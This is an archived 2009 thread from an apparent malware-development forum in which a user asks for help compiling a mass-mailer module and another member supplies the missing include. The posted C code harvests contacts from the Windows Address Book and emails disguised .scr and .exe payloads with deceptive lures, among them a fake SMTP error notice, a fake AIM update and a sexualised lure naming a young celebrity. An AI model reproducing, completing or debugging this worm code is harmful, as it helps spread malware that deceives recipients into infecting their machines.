Remote Administration Tool Research forumRemote Administration Tool Research forum
  Remote Administration Tool Research forum
Register Social Groups Mark Forums Read

Go Back   Remote Administration Tool Research forum > Programming > Source Code help

Reply
 
LinkBack Thread Tools Display Modes
  #1 (permalink)  
Old 08-12-2009, 00:54
Junior Member
 
Join Date: Jul 2009
Posts: 12
kari is on a distinguished road
error C2065

hi all i m porting a mass mailer to one source and when i compile the project i have this error

Code:
error C2065: 'time' : undeclared identifier
here is the code

Code:
//mass mailer functions
#ifndef NO_AUTOMAIL

DWORD WINAPI mailer(LPVOID xvoid)
{

	/* select a preconfigured email at random */
	
	int pick = rand()%2;

	srand(time(NULL));

	if (GetWABMails()==TRUE) {
				
	switch (pick)
	{
		//MessMail([0/1][attach as rar=1 or plain exe=0],"attached  rar archive name.rar", "rared file inside.exe", "email subject", "email body");

		case 0: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		
	
		case 1: 
		MessMail(1, "smtp_email_log.rar", "smtp_email_log.scr", "Local Loopback error 10029", "The SMTP relay server encountered Local Loopback error 10029 and was forced to save the email as a rar archive and forward it. Please view the attached email.");
		

		case 2: 
		MessMail(1, "Screen Saver Maker.rar", "Screensavermaker.scr", "Cool screen saver i found", "i found a pretty neat program to make your own screen savers check it out.");
		
		
		case 3: 
		MessMail(1, "Hanna Montana.rar", "hanna upskirt.scr", "Look at this hanna montana upskirt", "I found these porn pics of hanna montana (miley cyrus) check em out");
		

		case 4: 
		MessMail(1, "Download Accelerator 3.5.8.rar", "Setup.exe", "Download Accelerator", "hey, you should try using the download accelerator... it works really good and speeds up downloads by 30%. i sent it to you since i think you should try this.");
		

		case 5: 
		MessMail(1, "New AIM.rar", "Aim Install.exe", "AIM Version 12 released", "Aim version 12 just came out, you should update its way better");
		
		
		case 6: 
		MessMail(1, "1025 Cool Screensavers.rar", "1025 Screensavers.scr", "Check out these screen savers", "look at these screen savers");
		
		/*
		case 7: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		

		case 8: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		

		case 9: 
		MessMail(1, "The Pictures.rar", "Photo Album.scr", "here are the pictures i took the other day", "YO! here are all the pictures i took the other day. check them out.");
		*/		
		break;
		

	}

	} 
	return 1;
}
#endif //NO_AUTOMAIL
this is the line wich causes error
Code:
srand(time(NULL));
someone can help telling me how to declare this identifier ?
thnx
Reply With Quote
  #2 (permalink)  
Old 08-12-2009, 02:02
Member
 
Join Date: Mar 2009
Posts: 94
DigitalNemesis is on a distinguished road
#include <time.h>
Reply With Quote
  #3 (permalink)  
Old 08-12-2009, 13:47
Junior Member
 
Join Date: Jul 2009
Posts: 12
kari is on a distinguished road
hi

DigitalNemesis thnx is oki now :-)
Reply With Quote
Reply

Thread Tools
Display Modes

Posting Rules
You may not post new threads
You may not post replies
You may not post attachments
You may not edit your posts

BB code is On
Smilies are On
[IMG] code is On
HTML code is Off
Trackbacks are On
Pingbacks are On
Refbacks are On


Similar Threads
Thread Thread Starter Forum Replies Last Post
Omfg error error error ct_army VB help 6 25-12-2008 16:52
help with error bosco123 Delphi help 2 17-08-2007 03:37
Error #53 Jpg Icebergdelphi Delphi help 2 10-06-2007 20:29
Error Squidder VB help 2 02-11-2006 02:10
error box xsmithx Delphi help 10 11-10-2005 21:51


All times are GMT +1. The time now is 18:18.


vBulletin Version is 3.8.4
Copyright ©2000 - 2010, Jelsoft Enterprises Ltd.